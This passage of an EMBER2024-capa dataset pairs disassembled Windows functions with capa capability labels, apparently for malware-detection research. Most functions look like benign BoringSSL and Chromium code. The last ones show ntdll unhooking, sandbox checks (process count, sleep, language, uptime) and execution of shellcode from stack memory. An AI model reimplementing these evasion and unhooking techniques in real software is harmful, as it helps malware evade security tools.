joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14014e570
Capabilities:
Hash data using sha512

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1c8
movaps xmmword [rsp + 0x1b0], xmm6
mov rsi, rdx
mov rdi, rcx
mov rax, qword [0x14020b038]
xor rax, rsp
mov qword [rsp + 0x1a8], rax
mov rax, qword [r8 + 0x28]
test rax, rax
jne 0x14014e7de
mov rbx, qword [r8]
test rbx, rbx
je 0x14014e7b8
mov r14, qword [r8 + 0x10]
test r14, r14
je 0x14014e7b8
add r14, 0x18
movaps xmm6, xmmword [0x1401dfd10]
lea r12, [rsp + 0xd0]
movups xmmword [r12 + 0xc0], xmm6
movups xmmword [r12 + 0xb0], xmm6
movups xmmword [r12 + 0xa0], xmm6
movups xmmword [r12 + 0x90], xmm6
movups xmmword [r12 + 0x80], xmm6
movups xmmword [r12 + 0x70], xmm6
movups xmmword [r12 + 0x60], xmm6
movups xmmword [r12 + 0x50], xmm6
lea r15, [rsp + 0x90]
movaps xmmword [r15 + 0x30], xmm6
movaps xmmword [r15 + 0x20], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15], xmm6
movabs rax, 0x6a09e667f3bcc908
mov qword [r12], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [r12 + 8], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [r12 + 0x10], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [r12 + 0x18], rax
movabs rax, 0x510e527fade682d1
mov qword [r12 + 0x20], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [r12 + 0x28], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [r12 + 0x30], rax
movabs rax, 0x5be0cd19137e2179
mov qword [r12 + 0x38], rax
mov dword [r12 + 0xd0], 0
xorps xmm0, xmm0
movups xmmword [r12 + 0x40], xmm0
mov dword [r12 + 0xd4], 0x40
movsxd r8, dword [rbx + 0x18]
shl r8, 3
mov rcx, r12
mov rdx, r14
call fcn.1400de8d0
mov rcx, r12
mov rdx, rdi
mov r8, rsi
call fcn.1400de8d0
mov edx, dword [r12 + 0xd4]
mov rcx, r15
mov r8, r12
call fcn.1400e2c00
movabs rax, 0xaaaaaaaaaaaaaaaa
lea r13, [rsp + 0x40]
mov rbp, rax
mov qword [rsp + 0x80], rax
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x40], xmm6
movsxd r9, dword [rbx + 0x18]
mov r8, qword [rbx + 0x10]
mov qword [rsp + 0x20], r15
mov edx, 1
mov rcx, r13
call fcn.1400dd470
test eax, eax
je 0x14014e80a
mov dword [rsp + 0x3c], 0xaaaaaaaa
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov rcx, rbx
lea rdx, [rsp + 0x3c]
mov r8, r14
mov r9, r13
call fcn.14014e210
mov r12, rax
test rax, rax
jne 0x14014e789
cmp dword [rsp + 0x3c], 0
mov rax, rbp
jne 0x14014e711
mov rcx, qword [rsp + 0x1a8]
xor rcx, rsp
call fcn.140113000
mov rax, r12
movaps xmm6, xmmword [rsp + 0x1b0]
add rsp, 0x1c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x20], 0x13c
lea r9, str....._third_party_boringssl_srccrypto_fipsmoduleecdsaecdsa.c
xor r12d, r12d
mov ecx, 0x1a
xor edx, edx
mov r8d, 0x43
call fcn.14019e990
jmp 0x14014e789
cmp qword [rax + 0x28], 0
je 0x14014e5b0
mov dword [rsp + 0x20], 0x136
lea r9, str....._third_party_boringssl_srccrypto_fipsmoduleecdsaecdsa.c
xor r12d, r12d
mov ecx, 0x1a
xor edx, edx
mov r8d, 0x67
jmp 0x14014e7d7
xor r12d, r12d
jmp 0x14014e789
Function at 0x140173430
Capabilities:
Move file

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa8
mov rsi, rcx
mov rax, qword [0x14020b038]
xor rax, rsp
mov qword [rsp + 0xa0], rax
movabs rax, 0xaaaaaaaaaaaaaaaa
lea rbx, [rsp + 0x40]
mov qword [rbx + 0x50], rax
movaps xmm0, xmmword [0x1401dfd10]
movaps xmmword [rbx + 0x40], xmm0
movaps xmmword [rbx + 0x30], xmm0
movaps xmmword [rbx + 0x20], xmm0
movaps xmmword [rbx + 0x10], xmm0
movaps xmmword [rbx], xmm0
lea rdx, str.DeleteFileAfterReboot
lea r8, str....._base_files_file_util_win.cc
lea r14, [rsp + 0x20]
mov rcx, r14
mov r9d, 0x1d6
call fcn.1400713b0
xor edi, edi
mov rcx, rbx
mov rdx, r14
xor r8d, r8d
call fcn.14007d430
mov al, byte [rsi + 0x17]
test al, al
jns 0x1401734c0
cmp qword [rsi + 8], 0x103
ja 0x1401734de
test al, al
jns 0x1401734c7
mov rsi, qword [rsi]
mov rcx, rsi
xor edx, edx
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
setne dil
lea rcx, [rsp + 0x40]
call fcn.14007e5d0
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140113000
mov eax, edi
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140173510
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xd0
mov edi, edx
mov rbx, rcx
mov rax, qword [0x14020b038]
xor rax, rsp
mov qword [rsp + 0xc8], rax
call fcn.1400825c0
cmp eax, 8
jg 0x140173551
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
jmp 0x14017365f
movabs rax, 0xaaaaaaaaaaaaaaaa
lea r14, [rsp + 0x70]
mov qword [r14 + 0x50], rax
movaps xmm0, xmmword [0x1401dfd10]
movaps xmmword [r14 + 0x40], xmm0
movaps xmmword [r14 + 0x30], xmm0
movaps xmmword [r14 + 0x20], xmm0
movaps xmmword [r14 + 0x10], xmm0
movaps xmmword [r14], xmm0
lea rdx, str.DeleteFileWithDispositionFlags
lea r8, str....._base_files_file_util_win.cc
lea r15, [rsp + 0x50]
mov rcx, r15
mov r9d, 0x1e6
call fcn.1400713b0
xor esi, esi
mov rcx, r14
mov rdx, r15
xor r8d, r8d
call fcn.14007d430
cmp byte [rbx + 0x17], 0
mov rcx, rbx
jns 0x1401735c0
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140173655
test al, 0x10
jne 0x140173648
cmp byte [rbx + 0x17], 0
jns 0x1401735dc
mov rbx, qword [rbx]
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x10100
mov r8d, 7
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rbx, [rsp + 0x48]
mov qword [rbx], rsi
mov rcx, rbx
mov rdx, rax
call fcn.14005bb50
mov rax, qword [rbx]
inc rax
cmp rax, 2
jae 0x140173680
mov rax, qword [rsp + 0x48]
inc rax
cmp rax, 2
jb 0x140173655
call fcn.1400713d0
mov rcx, qword [rsp + 0x48]
call fcn.140081d40
jmp 0x140173655
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea rcx, [rsp + 0x70]
call fcn.14007e5d0
mov rcx, qword [rsp + 0xc8]
xor rcx, rsp
call fcn.140113000
mov eax, esi
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [0x1401e8e62]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtSetInformationFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14017371c
or edi, 1
movups xmm0, xmmword [0x1401e8e78]
lea rdx, [rsp + 0x50]
movaps xmmword [rdx], xmm0
lea r8, [rsp + 0x40]
mov dword [r8], edi
mov rcx, qword [rsp + 0x48]
mov dword [rsp + 0x20], 0x40
mov r9d, 4
call qword [case.0x140173f30.0]
test eax, eax
sete sil
je 0x140173629
mov edi, eax
lea rcx, [0x1401e8e62]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlNtStatusToDosError
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14017370f
mov ecx, edi
call qword [case.0x140173f30.0]
mov edi, eax
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x140173629
xor esi, esi
jmp 0x140173629
Function at 0x140173de0
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov ebx, r8d
mov esi, edx
mov rdi, rcx
mov rax, qword [0x14020b038]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp byte [rcx + 8], 0
je 0x140173e56
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, esi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x140173e60
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [rdi + 8], 0
je 0x140173e5b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140173e6f
xor esi, esi
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140113000
mov eax, esi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rdi]
jmp 0x140173e0d
mov rcx, qword [rdi]
jmp 0x140173e2e
test bl, bl
je 0x140173eb4
cmp byte [rdi + 8], 0
jne 0x140173ea0
mov rcx, qword [rdi]
jmp 0x140173ea9
mov dword [rsp + 0x24], 0xaaaaaaaa
cmp byte [rdi + 8], 0
jne 0x140173e82
mov rcx, qword [rdi]
jmp 0x140173e8b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x140173eb4
mov esi, dword [rsp + 0x24]
jmp 0x140173eb4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov edx, esi
call fcn.1400cbed0
mov sil, 1
jmp 0x140173e3f
Function at 0x140188a90
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
mov edx, dword [rsp + 0xe0]
mov rax, qword [0x14020b038]
xor rax, rsp
mov qword [rsp + 0x80], rax
movsxd r8, dword [rcx + 0x18]
lea ecx, [rdx + 4]
mov r11, rcx
shr r11, 6
xor eax, eax
mov r10d, 0
cmp r11, r8
jae 0x140188aec
mov r10, qword [r9 + r11*8]
shr r10, cl
shl r10d, 5
and r10d, 0x20
lea ecx, [rdx + 3]
mov r11, rcx
shr r11, 6
cmp r11, r8
jae 0x140188b08
mov rax, qword [r9 + r11*8]
shr rax, cl
shl eax, 4
and eax, 0x10
or eax, r10d
lea ecx, [rdx + 2]
mov r14, rcx
shr r14, 6
xor r10d, r10d
mov r11d, 0
cmp r14, r8
jae 0x140188b32
mov r11, qword [r9 + r14*8]
shr r11, cl
shl r11d, 3
and r11d, 8
or eax, r11d
lea ecx, [rdx + 1]
mov r11, rcx
shr r11, 6
cmp r11, r8
jae 0x140188b53
mov r10, qword [r9 + r11*8]
shr r10, cl
shl r10d, 2
and r10d, 4
or eax, r10d
mov ecx, edx
mov r11, rcx
shr r11, 6
xor r10d, r10d
cmp r11, r8
jae 0x140188b75
mov r10, qword [r9 + r11*8]
shr r10, cl
add r10d, r10d
and r10d, 2
or eax, r10d
test edx, edx
je 0x140188b9b
dec edx
mov r10, rdx
shr r10, 6
xor ecx, ecx
cmp r10, r8
jae 0x140188b99
mov r8, qword [r9 + r10*8]
xor ecx, ecx
bt r8, rdx
setb cl
or eax, ecx
mov r14d, eax
shr r14, 5
lea ecx, [r14 - 1]
neg r14
and ecx, eax
xor eax, 0x3f
mov r15d, r14d
and r15d, eax
or r15d, ecx
mov rax, r15
shr rax, 1
and r15d, 1
add r15, rax
xor r12d, r12d
mov r8d, 0xd8
mov rcx, rsi
xor edx, edx
call fcn.140114f20
mov r8, r12
xor r8, r15
dec r8
sar r8, 0x3f
mov qword [rsp + 0x20], rsi
mov rcx, rdi
mov rdx, rsi
mov r9, rbx
call fcn.140185ee0
inc r12
add rbx, 0xd8
cmp r12, 0x11
jne 0x140188bd7
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x70], rax
movaps xmm0, xmmword [0x1401dfd10]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
add rsi, 0x48
mov ecx, dword [rdi + 0x40]
test ecx, ecx
jle 0x140188c4e
xor edx, edx
xor eax, eax
or rax, qword [rsi + rdx*8]
inc rdx
cmp rcx, rdx
jne 0x140188c40
jmp 0x140188c50
xor eax, eax
test rcx, rcx
je 0x140188ce0
movsxd rcx, ecx
mov rdx, qword [rdi + 0x38]
xor r8d, r8d
lea r9, [rsp + 0x30]
sub r10, r10
jmp 0x140188c70
mov r10, qword [rdx + r8*8]
sbb r10, qword [rsi + r8*8]
mov qword [r9 + r8*8], r10
lea r8, [r8 + 1]
dec rcx
jne 0x140188c70
sbb r10, r10
mov ecx, dword [rdi + 0x40]
test ecx, ecx
jle 0x140188cab
xor edx, edx
mov r8, rax
test rax, rax
je 0x140188c9e
mov r8, qword [rsp + rdx*8 + 0x30]
mov qword [rsp + rdx*8 + 0x30], r8
inc rdx
cmp rcx, rdx
jne 0x140188c91
test rcx, rcx
je 0x140188ce0
and r14d, 1
mov rax, r14
neg rax
dec r14
movsxd rcx, ecx
xor edx, edx
mov r8, qword [rsp + rdx*8 + 0x30]
and r8, rax
mov r9, qword [rsi + rdx*8]
and r9, r14
or r9, r8
mov qword [rsi + rdx*8], r9
inc rdx
cmp rcx, rdx
jne 0x140188cc2
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140113000
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140189e10
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
sub rsp, 0x58
mov rsi, rcx
mov rax, qword [0x14020b038]
xor rax, rsp
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [0x1401dfd10]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
test r9, r9
je 0x140189e78
xor edi, edi
cmp r9, 0x30
ja 0x140189e9a
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
lea rdx, [rsp + 0x20]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
xor eax, eax
mov cl, byte [r8 + rax]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp r9, rax
jne 0x140189e68
mov r8d, 0x30
mov rcx, rsi
call fcn.1400e0f10
test eax, eax
je 0x140189eb0
mov qword [rsi + 0x118], 1
mov edi, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140113000
mov eax, edi
add rsp, 0x58
pop rdi
pop rsi
ret
xor edi, edi
jmp 0x140189e9a

Function at 0x14019b160
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov r14, rdx
mov rsi, rcx
mov rax, qword [rcx + 8]
cmp rax, qword [rcx + 0x10]
je 0x14019b19e
test rax, rax
je 0x14019b25b
mov rcx, qword [r14]
mov qword [rax], rcx
add rax, 8
mov qword [rsi + 8], rax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
sub rax, qword [rsi]
mov rbx, rax
sar rbx, 3
lea rcx, [rbx + 1]
mov rdx, rcx
shr rdx, 0x3d
jne 0x14019b287
movabs rdx, 0x1fffffffffffffff
lea rdi, [rsi + 0x18]
mov r15, rax
sar r15, 2
cmp r15, rcx
cmovbe r15, rcx
movabs rcx, 0x7ffffffffffffff8
cmp rax, rcx
cmovae r15, rdx
test r15, r15
je 0x14019b257
mov rcx, rdi
mov rdx, r15
call fcn.14004cb50
shl rbx, 3
add rbx, rax
je 0x14019b25b
lea r15, [rax + r15*8]
mov rax, qword [r14]
mov qword [rbx], rax
lea r14, [rbx + 8]
mov rdx, qword [rsi]
mov r8, qword [rsi + 8]
sub r8, rdx
sub rbx, r8
mov rcx, rbx
call fcn.140114870
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov qword [rsi], rbx
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r15
test rdx, rdx
je 0x14019b192
sub r8, rdx
sar r8, 3
mov rcx, rdi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.14004c5e0
xor eax, eax
jmp 0x14019b1f6
lea rax, str.null_pointer_given_to_construct_at
mov qword [rsp + 0x20], rax
lea rcx, str._s:_d:_assertion__s_failed:__s
lea rdx, str....._buildtools_third_partylibc_trunkinclude__memoryconstruct_at.h
lea r9, str.__location___nullptr
mov r8d, 0x23
call fcn.140152a0d
call fcn.14012ba40
int3

Function at 0x14019ed50
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test rdx, rdx
je 0x14019ed8c
mov rsi, rdx
mov rdi, rcx
mov r14d, 0xffffffff
cmp rsi, r14
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x14019ed96
add rdi, rbx
sub rsi, rbx
jne 0x14019ed6a
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.14012ba40
int3
Function at 0x1401a21ef
Capabilities:
Read file via mapping

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
cmp dword [r8], 0
jle 0x1401a220a
xor eax, eax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
call fcn.1400ebb5c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10000080
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1401a22b8
mov r14, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
mov r8d, 2
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x1401a22b8
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rdi + 8], rax
test rax, rax
je 0x1401a22e3
mov qword [rdi + 0x28], rbx
mov al, 1
jmp 0x1401a2200
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
cmp ecx, 0x8007000e
jne 0x1401a21fe
mov dword [rsi], 7
jmp 0x1401a21fe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1401a21fe

Function at 0x1401a72b0
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rsi, rdx
mov rdi, rcx
mov rax, qword [0x14020b038]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
add rsi, rdi
xor r15d, r15d
lea r14, [rsp + 0x2c]
mov r12, qword [sym.imp.KERNEL32.dll_WriteFile]
cmp rdi, rsi
jae 0x1401a7338
mov dword [rsp + 0x2c], 0
mov r8d, esi
sub r8d, edi
mov qword [rsp + 0x20], r15
mov rcx, rbx
mov rdx, rdi
mov r9, r14
call r12
test eax, eax
sete dl
mov ecx, dword [rsp + 0x2c]
test rcx, rcx
sete al
or al, dl
mov edx, 0
jne 0x1401a7331
mov rdx, rcx
add rdi, rdx
cmp al, 1
jne 0x1401a72f2
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140113000
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x48]
mov rdx, rax
mov qword [rsp + 0x40], rax
mov rcx, 0xffffffffffffffff
mov r15, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x48]
lea rcx, str.c:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov r8d, 1
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x1000002
mov r12, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
xor r8d, r8d
mov edx, 4
mov r13, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [rbp + 0x3c]
movzx edi, bx
add rsi, rbp
mov r14, rax
cmp bx, word [rsi + 6]
jae 0x14000120a
lea r8, str..text
xor r15d, r15d
nop word [rax + rax]
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r15
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x1400011f8
cmp rax, 6
jne 0x140001190
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, 0x40
mov dword [rsp + 0x60], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r14]
lea rcx, [rax + rbp]
call fcn.140015380
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140001170
mov r15, qword [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001780
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001260
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Identify system language via api

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x13d0
call fcn.140014c80
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400012f9
xor edx, edx
mov dword [rsp + 0x30], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x34]
call fcn.140014fc0
lea rdx, [rsp + 0x30]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001410
nop dword [rax]
lea rdx, [rsp + 0x30]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400012d0
cmp ebx, 0x96
jle 0x140001410
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400015bc
mov dword [rsp + 0x34], eax
mov edx, 1
mov dword [rsp + 0x13b4], 0xffffffff
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
inc rdx
cmp rdx, 0x270
jb 0x140001320
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x270
call fcn.140001430
mov ecx, eax
imul rcx, rcx, 0x2329
cmp ecx, 0x140a
ja 0x14000137d
lea rcx, [rsp + 0x30]
call fcn.140001430
mov ecx, eax
imul rcx, rcx, 0x2329
cmp ecx, 0x140b
jb 0x140001362
shr rcx, 0x20
add ecx, 0x800003e8
btc ecx, 0x1f
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x14000141b
lea rcx, str.Chinese
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x927c0
jb 0x14000141b
call fcn.140001070
lea r9, [rsp + 0x24]
mov dword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rsp + 0x20]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x20]
call rax
xor eax, eax
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.140001780
mov rbx, qword [rsp + 0x13e0]
add rsp, 0x13d0
pop rdi
ret
mov ecx, 1
call fcn.140004f98
int3
mov ecx, 1
call fcn.140004f98
int3
Function at 0x140001430
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140001491
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140001450
mov ecx, dword [r9]
jmp 0x14000157b
cmp ecx, 0x4e0
jb 0x14000157b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400014b0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001500
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140002198
Capabilities:
